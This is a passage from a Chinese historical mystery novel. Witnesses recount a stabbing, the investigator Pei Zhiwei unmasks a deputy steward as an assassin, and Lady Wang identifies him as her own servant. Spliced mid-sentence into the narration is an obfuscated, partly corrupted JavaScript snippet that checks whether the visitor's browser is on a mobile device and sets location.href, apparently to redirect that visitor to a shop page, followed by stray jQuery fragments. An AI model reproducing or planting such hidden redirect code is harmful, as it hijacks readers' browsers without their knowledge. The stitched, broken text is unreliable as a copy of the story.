夫人的脸就是刚才被他打的。”
他顿了顿,咽了口唾沫,接着说:“刚巧柳姨娘也来了。
她站在旁边,看着夫人被打,还笑着说‘老爷这才走多久,二郎就出息了,连当家主母的脸都敢打了’。
以前柳姨娘说话也这样,什么话到她嘴里总是不阴不阳的,二郎从来没跟她一般见识。
可这次……这次二郎不知道怎么了,突然从腰里掏出把匕首,冲着柳姨娘就捅了过去。
我们都没反应过来,柳姨娘就倒了。”
“是这样吗?”柳敬常扫了眼旁边的下人。
几个下人连忙点头,有个年轻点的女仆声音很小:“是……我们想拦,可二郎动作太快了。
柳姨娘倒下去的时候,血一下子就流出来了,我们都吓得不敢动。”
裴知微站在萧云湛旁边,听着老仆的话,总觉得有点不对劲。
徐仁杀柳氏,是因为柳姨娘阴阳怪气的一句话?
可之前徐仁策划彩架坍塌那么缜密,怎么会因为一句话就突然动手?
她下意识扫了眼站在最边上的几个下人,目光突然停在一个穿青布长衫的男子身上。
这人看着三十多岁,站在人群里,脸上也带着点后怕的神色,跟其他人没什么两样。
可越看那身形越觉得眼熟。
裴知微指着那个男子说:“你,过来一下。”
男子愣了一下,慢慢走出来,对着柳敬常拱了拱手:“小人见过大人。”
“你今早也在正堂?”裴知微问道。
“是,”男子一直弯着腰,眼皮半抬,视线一直在地上。
“小人当时在旁边伺候,亲眼看见二郎动手的。”
裴知微:“你是府上的侍卫?”
男子连忙摇头:“不是,小人是府里的副管事,负责府里的杂务。”
“那你今日出过府吗?”裴知微的目光紧紧盯着他,没放过他脸上任何一点细微的变化。
男子的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16570888|183929||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
喉结动了一下,声音很稳:“没有,今日府里事多,小人一直都在府上,没出去过。”
裴知微突然笑了,语气里带着点了然:“是吗?可明明我们今早才见过。
就在怡红院。
怎么换了身衣裳就不认得了?”
这话一出,不仅男子的脸瞬间白了,柳敬常也愣了:“怡红院的刺客?是你?”
男子转身就想跑。
萧云湛早有准备,脚下一错就拦在他前面,伸手扣住他的胳膊。
谢霁也没闲着,从旁边绕过去,一把抓住他的另一只手。
两人动作很快,没等男子挣扎,就把他按在了地上。
“说!谁派你去杀寒烟的?”裴知微喝道。
男子咬着牙,头往地上抵着,一声不吭。
柳敬常刚要开口,就听见王氏突然哭出声:“王恒!你……你是我的陪嫁,是我王家的人,你怎么会跟外人勾结去杀人?”
裴知微愣了一下,看向王氏。
王氏指着地上的男子,手抖得厉害,眼泪掉得